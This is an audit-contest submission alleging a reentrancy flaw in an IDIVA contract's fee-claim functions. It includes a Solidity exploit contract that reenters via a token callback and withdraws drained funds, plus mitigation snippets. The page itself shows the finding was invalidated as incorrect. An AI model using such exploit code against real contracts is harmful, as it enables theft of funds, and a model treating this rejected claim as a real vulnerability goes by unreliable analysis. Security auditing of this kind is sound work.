HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Reentrancy Risk in `transferFeeClaim` and `batchTransferFeeClaim`

Summary

Functions that transfer funds (transferFeeClaim and batchTransferFeeClaim) in contract IDIVA.solcould be vulnerable to reentrancy attacks, especially if they call external contracts or functions that allow for callback execution.

Vulnerability Details

  • transferFeeClaim and batchTransferFeeClaim transfer fees before updating internal balances.

  • If a malicious contract can reenter during the transfer, it can repeatedly drain the fee allocation.

  • The exploit relies on calling back into transferFeeClaim from within an external call.

Impact

Exploiters could repeatedly drain funds from the contract, causing significant financial losses.

Proof of Concept (PoC) demonstrating the Reentrancy Risk in transferFeeClaim and batchTransferFeeClaim.

Actors

  • Attacker: A malicious contract exploiting reentrancy.

  • Victim: The protocol (fee claim balance being drained).

  • Protocol: The vulnerable functions in IDIVA.

Proof of Concept (PoC)

Step-by-Step Exploit

  1. Attacker contract requests a fee claim.

  2. Protocol initiates transfer before updating balance.

  3. Attacker reenters by triggering another transfer before the balance is updated.

  4. Repeated calls drain the fee allocation.

Exploit Contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "./IDIVA.sol"; // Import the interface
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReentrancyExploit {
IDIVA public target; // Vulnerable contract
IERC20 public token; // The ERC20 token used for fee claim
address public owner;
constructor(address _target, address _token) {
target = IDIVA(_target);
token = IERC20(_token);
owner = msg.sender;
}
// Attack function that starts the exploit
function attack(address _collateralToken, uint256 _amount) external {
require(msg.sender == owner, "Not authorized");
target.transferFeeClaim(address(this), _collateralToken, _amount);
}
// Reentrant callback function
function onERC20Received(
address,
address,
uint256 amount,
bytes calldata
) external returns (bytes4) {
if (amount > 0) {
// Reenter the contract before balance updates
target.transferFeeClaim(address(this), address(token), amount);
}
return this.onERC20Received.selector;
}
// Withdraw stolen funds
function withdraw() external {
require(msg.sender == owner, "Not authorized");
token.transfer(owner, token.balanceOf(address(this)));
}
}

Expected Outcome

  • The attacker drains all fee allocations by reentering before balances update.

  • The fee claim should have been updated before the external transfer, preventing reentrancy.

Mitigation Strategies

Use Reentrancy Guard:

  • Apply nonReentrant modifier from OpenZeppelin’s ReentrancyGuard.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
function transferFeeClaim(...) external nonReentrant { ... }

Check-Effects-Interactions Pattern:

  • Update balances before making external calls.

function transferFeeClaim(...) external {
uint256 claimAmount = claimBalance[msg.sender];
claimBalance[msg.sender] = 0; // Update first
token.transfer(msg.sender, claimAmount); // Transfer last
}

Use Pull Payments:

  • Let users withdraw funds instead of directly sending them.

Tools Used

Manual code review, static analysis tool

Recommendations

  • Use the checks-effects-interactions pattern: Perform state updates before external calls to prevent reentrancy.

  • Utilize reentrancy guards (e.g., nonReentrant modifier from OpenZeppelin) on functions transferring funds.

Updates

Lead Judging Commences

bube Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.